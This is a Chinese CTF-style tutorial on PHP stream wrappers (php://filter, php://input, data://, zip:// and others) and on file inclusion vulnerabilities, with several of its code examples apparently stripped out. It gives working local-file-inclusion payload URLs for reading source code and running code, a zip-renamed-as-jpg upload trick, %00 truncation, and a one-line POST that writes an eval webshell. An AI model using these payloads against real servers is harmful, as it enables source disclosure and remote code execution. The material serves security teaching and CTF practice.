0x01 PHP伪协议
PHP伪协议事实上是其支持的协议与封装协议,会多次出现在CTFweb题中,并且有很多妙用。
PHP中支持的协议种类一共有12种:
file、http、ftp、php、zlib、data、glob、phar、ssh2、rar、ogg、expect
1 | file:// — 访问本地文件系统 |
0x001 file://协议
PHP.ini:
file:// 协议在双off的情况下也可以正常使用:
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
实例
新建cmd.php
1 |
|
payload:
file://{文件的绝对路径和文件名}
1 | http://127.0.0.1/cmd.php?file=file://E:/phpStudy/WWW/phpinfo.php |
即可读取.
0x002 php://协议
条件:
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
应用:
php:// 访问各个输入/输出流(I/O streams)
在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码
php://input用于执行php代码
php://stdin
是只读的
php://stdout
和 php://stderr
是只写的。
php://stdin
打开一个文件指针进行读取fopen('php://stdin','r')
php://stdout
打开一个文件指针进行写入fopen('php://stdout', 'w');
php://stderr
打开一个文件指针进行写入 fopen( 'php://stderr', 'w' );
php://filter
注:
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符 ( | )分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符( | )分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
可以运用多种过滤器(字符串/转换/压缩/加密)
例如平时我们用来任意文件读取的payload
1 | php://filter/read=convert.base64-encode/resource=upload.php |
payload:
1 | http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php |
1 | http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php |
灵活使用
php://filter/read=<读取链需要应用的过滤器列表>
1 | http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode|string.toupper|string.rot14/resource=phpinfo.php |
php://input
php://input可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
php://input
是个可以访问请求的原始数据的只读流。因为它不依赖于特定的 php.ini
指令。
注:enctype=”multipart/form-data” 的时候 php://input
是无效的。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
payload:
1 | https://lab.l0ki.top/cmd.php?file=php://input |
需要注意:
- 测试过程中必须要开启allow_url_include,否则会报错
- 非测试状态下则需要关闭,否则造成任意代码执行
实战中也可以POST如下内容生成一句话:
1 | fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’); |
php://output
php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
payload:
1 | https://lab.l0ki.top/read.php?file=php://output |
read.php
1 |
|
过滤器
过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
名称 | 描述 |
---|---|
string.rot13 | 进行rot13转换 |
string.toupper | 将字符全部大写 |
string.tolower | 将字符全部小写 |
string.strip_tags | 去除空字符、HTML 和 PHP 标记后的结果, |
功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式 |
举例
1 |
|
转换过滤器
convert.base64-encode & convert.base64-decode
base64 编码解码
convert.base64-encode和convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。 convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length,base64 输出将被用 line-length个字符为长度而截成块。如果给出了 line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用 base64_encode()再加上 chunk_split()相同。
**convert.quoted-printable-encode & convert.quoted-printable-decode **
quoted-printable 编码解码
convert.quoted-printable-encode和 convert.quoted-printable-decode等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。 convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和 convert.base64-encode一样的附加参数外,convert.quoted-printable-encode还支持布尔参数 binary和 force-encode-first。 convert.base64-decode只支持 line-break-chars参数作为从编码载荷中剥离的类型提示。
举例
1 |
|
压缩过滤器
zlib.deflate和 zlib.inflate
zlib.deflate(压缩)和 zlib.inflate(解压)实现了定义与 » RFC 1951的压缩算法。 deflate过滤器可以接受以一个关联数组传递的最多三个参数。 level定义了压缩强度(1-9)。数字更高通常会产生更小的载荷,但要消耗更多的处理时间。存在两个特殊压缩等级:0(完全不压缩)和 -1(zlib 内部默认值,目前是 6)。 window是压缩回溯窗口大小,以二的次方表示。更高的值(大到 15 —— 32768 字节)产生更好的压缩效果但消耗更多内存,低的值(低到 9 —— 512 字节)产生产生较差的压缩效果但内存消耗低。目前默认的 window大小是 15。 memory用来指示要分配多少工作内存。合法的数值范围是从 1(最小分配)到 9(最大分配)。内存分配仅影响速度,不会影响生成的载荷的大小。
Note: 因为最常用的参数是压缩等级,也可以提供一个整数值作为此参数(而不用数组)。
bzip2.compress和 bzip2.decompress
bzip2.compress过滤器接受以一个关联数组给出的最多两个参数:blocks是从 1 到 9 的整数值,指定分配多少个 100K 字节的内存块作为工作区。 work是 0 到 250 的整数值,指定在退回到一个慢一些,但更可靠的算法之前做多少次常规压缩算法的尝试。调整此参数仅影响到速度,压缩输出和内存使用都不受此设置的影响。将此参数设为 0 指示 bzip 库使用内部默认算法。 bzip2.decompress过滤器仅接受一个参数,可以用普通的布尔值传递,或者用一个关联数组中的small单元传递。当small设为&true; 值时,指示 bzip 库用最小的内存占用来执行解压缩,代价是速度会慢一些。
加密过滤器
_mcrypt._和 _mdecrypt._使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为_mcrypt.ciphername_,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用:
mcrypt 过滤器参数
参数 | 是否必须 | 默认值 | 取值举例 | ||
---|---|---|---|---|---|
mode | 可选 | cbc | cbc, cfb, ecb, nofb, ofb, stream | ||
algorithms_dir | 可选 | ini_get(‘mcrypt.algorithms_dir’) | algorithms 模块的目录 | ||
modes_dir | 可选 | ini_get(‘mcrypt.modes_dir’) | modes 模块的目录 | ||
iv | 必选 | N/A | 典型为 8,16 或 32 字节的二进制数据。根据密码而定 | ||
key | 必选 | N/A | 典型为 8,16 或 32 字节的二进制数据。根据密码而定 |
举例
phpinfo.php
1 |
|
payload:
1 | https://lab.l0ki.top/phpinfo.php?a=php://filter/write=string.tolower/resource=test.php |
以base64的方式显示:
方法一:
1 |
|
1 | https://lab.l0ki.top/phpinfo.php?a=php://filter/convert.base64-encode/resource=test.php |
方法二:
1 |
|
1 | http://lab.l0ki.top/phpinfo.php?a=php://filter/convert.base64-encode/resource=test.php |
双引号包含的变量$filename会被当作正常变量执行,而单引号包含的变量则会被当作字符串执行。
1 |
|
0x003 data://协议
data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2
实例
1 | <?php |
1 | http://lab.l0ki.top/cmd.php?file=data://text/plain,<?php phpinfo()?> |
1 | http://lab.l0ki.top/cmd.php?file=data:text/plain,<?php phpinfo()?> |
0x004 zip://, bzip2://, zlib://协议
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用:
allow_url_fopen :off/on
allow_url_include:off/on
1 | 3个封装协议,都是直接打开压缩文件。 |
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
0x005 zip://协议
php 版本大于等于 php5.3.0
使用方法:zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
要用绝对路径+#(url编码,即为%23)
实例
payload
1 | http://lab.l0ki.top/cmd.php?file=zip:///www/wwwroot/lab.l0ki.top/file.jpg%23phpinfo.txt |
- 先创建一个phpinfo.txt文件,写入代码
<?php phpinfo();?>
- 再将这个文件压缩为file.zip进行上传
- 若报错或上传失败,则将file.zip重命名为file.jpg即可
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
0x006 bzip2://协议
使用方法:
compress.bzip2://file.bz2
相对路径也可以
实例
用7-zip生成一个bz2压缩文件。
1 | http://lab.l0ki.top/cmd.php?file=compress.bzip2:///www/wwwroot/lab.l0ki.top/file.jpg |
0x007 zlib://协议
使用方法:
compress.zlib://file.gz
0x02 文件包含漏洞
0x001 文件包含漏洞简介
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
说白了就是引用一个文件。
0x002 文件包含函数
文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。
常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,
include
和require
区别主要是,include
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require
函数出现错误的时候,会直接报错并退出程序的执行。
而include_once()
,require_once()
这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
0x003 漏洞产生原因
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码
1 |
|
例如:
$_GET['filename']
参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']
的值,执行非预期的操作。
0x004 两种问题
是否截断问题:
情况一:不需要截断:
payload:
1 | http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt |
test.php
1 |
|
情况二:需要截断:
在php版本<=5.2中进行测试是可以使用%00截断的。
payload:
1 | http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00 |
test.php
1 |
|
allow_url_fopen与allow_url_include是否开启问题
则追溯于以上的各种相关协议